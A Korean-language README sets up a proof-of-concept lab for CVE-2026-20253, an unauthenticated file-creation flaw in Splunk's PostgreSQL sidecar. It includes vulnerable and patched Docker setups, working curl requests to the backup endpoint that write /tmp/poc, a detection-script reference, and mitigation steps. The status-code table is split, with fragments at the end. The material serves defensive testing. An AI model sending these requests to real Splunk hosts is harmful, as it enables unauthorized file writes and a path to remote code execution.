
CVE-2026-20253용 POC
PostgreSQL 사이드카를 통한 인증 없는 임의 파일 생성 및 잘라내기
CVSS 9.8 · 치명적(Critical) · CWE-306 · 활발히 악용 중 (CISA KEV)
이 저장소는 교육 및 승인된 보안 연구 목적으로만 엄격히 제공됩니다.
모든 테스트는 본인이 소유했거나 명시적 서면 허가를 받은 인프라에 대해서만 수행해야 합니다.
저자는 여기에 시연된 기법이나 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
소유하지 않은 운영(프로덕션) 시스템이나 환경에서 절대 실행하지 마십시오.
CVE-2026-20253은 10.2.4 및 10.0.7 미만의 Splunk Enterprise 버전에 영향을 줍니다.
Splunk에 번들로 포함된 PostgreSQL 사이드카 서비스는 두 개의 내부 HTTP 엔드포인트를 노출합니다:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
두 엔드포인트 모두 인증 검사가 전혀 없어(CWE-306) 네트워크로 접근 가능한 모든 공격자가 자격 증명 없이 호출할 수 있습니다. 공격자가 통제하는 backupFile 매개변수를 제공하면, 인증되지 않은 사용자가 Splunk 호스트 파일시스템에 임의의 파일을 생성하거나 잘라낼 수 있습니다 — 연구자들은 이 프리미티브를 체인으로 연결하여 완전한 사전 인증 원격 코드 실행(RCE)을 달성했습니다.
| 속성 | 세부 정보 |
|---|---|
| CVE | CVE-2026-20253 |
| CVSS 점수 | 9.8 (치명적) |
| CWE | CWE-306 — 중요 기능에 대한 인증 누락 |
| 영향받는 버전 | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| 패치 버전 | 10.0.7, 10.2.4 |
| CISA KEV | 2026년 6월 18일 추가됨 |
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curl을 사용할 수 있는 Kali Linux 또는 모든 Linux 호스트docker compose -f docker-compose.yml up -d --build
Splunk가 완전히 초기화될 때까지 약 90초를 기다립니다. 진행 상황은 다음 명령으로 확인하세요:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Splunk 웹 UI → http://localhost:8000
자격 증명: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Splunk 웹 UI → http://localhost:8001
자격 증명: admin / changeme
두 컨테이너는 나란히 실행할 수 있습니다 — 충돌을 피하기 위해 포트가 서로 다르게 지정되어 있습니다.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
예상: 400 — 엔드포인트가 존재하며, 인증이 적용되지 않았고, 요청이 처리되었습니다.
컨테이너 내부에 파일이 생성되었는지 확인합니다:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
예상: 401 — 이제 인증이 적용되며, 요청이 거부됩니다.
| HTTP 상태 | 의미 |
|---|---|
400 |
watchTowr Labs 팀은 위 확인 작업을 자동화하는 탐지 스크립트를 공개했습니다:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
즉시 패치된 버전으로 업데이트하십시오:
| 브랜치 | 패치 버전 |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
즉시 패치할 수 없다면, server.conf에 다음을 추가하고 Splunk를 재시작하여 PostgreSQL 사이드카를 비활성화하십시오:
[postgres]
disabled = true
⚠️ Edge Processor 또는 SPL2 데이터 파이프라인을 실행 중이라면 사이드카를 비활성화하지 마십시오 — 해당 기능에 필요합니다.
이 실습 환경은 방어적 보안 연구 및 교육 목적으로만 제공됩니다.
컴퓨터 시스템에 대한 무단 접근은 미국 컴퓨터 사기 및 남용 방지법(CFAA), 영국 컴퓨터 남용법(Computer Misuse Act) 및 전 세계의 동등한 법률에 따라 불법입니다.
책임감 있게 사용하십시오.
| 취약함 — 엔드포인트 도달, 인증 검사 없음 |
401 | 패치됨 — 인증이 적용됨 |
404 | 사이드카 없음 / 잘못된 경로 |
000 | 컨테이너가 아직 준비되지 않음 |